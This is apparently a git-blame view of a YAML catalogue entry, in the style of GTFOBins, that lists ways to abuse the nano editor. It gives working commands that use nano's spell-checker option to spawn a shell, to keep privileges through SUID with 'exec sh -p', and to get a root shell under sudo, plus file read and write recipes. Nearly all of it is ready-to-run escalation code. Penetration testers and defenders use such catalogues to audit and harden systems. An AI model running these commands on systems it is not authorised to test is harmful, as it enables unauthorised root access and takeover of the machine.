2018-05-29 19:23:33 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-10-05 19:55:38 +02:00
|
|
|
shell:
|
2018-09-06 21:36:02 +02:00
|
|
|
- code: |
|
2018-07-16 15:01:50 +02:00
|
|
|
TF=$(mktemp)
|
2018-09-06 21:36:02 +02:00
|
|
|
echo 'exec sh' > $TF
|
2018-07-16 15:01:50 +02:00
|
|
|
chmod +x $TF
|
|
|
|
nano -s $TF /etc/hosts
|
|
|
|
^T
|
2018-05-29 19:23:33 +02:00
|
|
|
file-write:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
nano file_to_write
|
2018-08-20 14:35:43 +02:00
|
|
|
DATA
|
2018-07-16 15:01:50 +02:00
|
|
|
^O
|
2018-07-04 20:26:52 +02:00
|
|
|
file-read:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: nano file_to_read
|
2018-10-05 19:55:38 +02:00
|
|
|
suid:
|
2018-09-06 21:36:02 +02:00
|
|
|
- code: |
|
2018-07-16 15:01:50 +02:00
|
|
|
TF=$(mktemp)
|
2018-09-06 21:36:02 +02:00
|
|
|
echo 'exec sh -p' > $TF
|
2018-07-16 15:01:50 +02:00
|
|
|
chmod +x $TF
|
|
|
|
./nano -s $TF /etc/hosts
|
|
|
|
^T
|
2018-10-05 19:55:38 +02:00
|
|
|
sudo:
|
2018-09-06 21:36:02 +02:00
|
|
|
- code: |
|
2018-07-16 15:01:50 +02:00
|
|
|
TF=$(mktemp)
|
2018-09-06 21:36:02 +02:00
|
|
|
echo 'exec sh' > $TF
|
2018-07-16 15:01:50 +02:00
|
|
|
chmod +x $TF
|
|
|
|
sudo nano -s $TF /etc/hosts
|
|
|
|
^T
|
2018-05-29 19:23:33 +02:00
|
|
|
---
|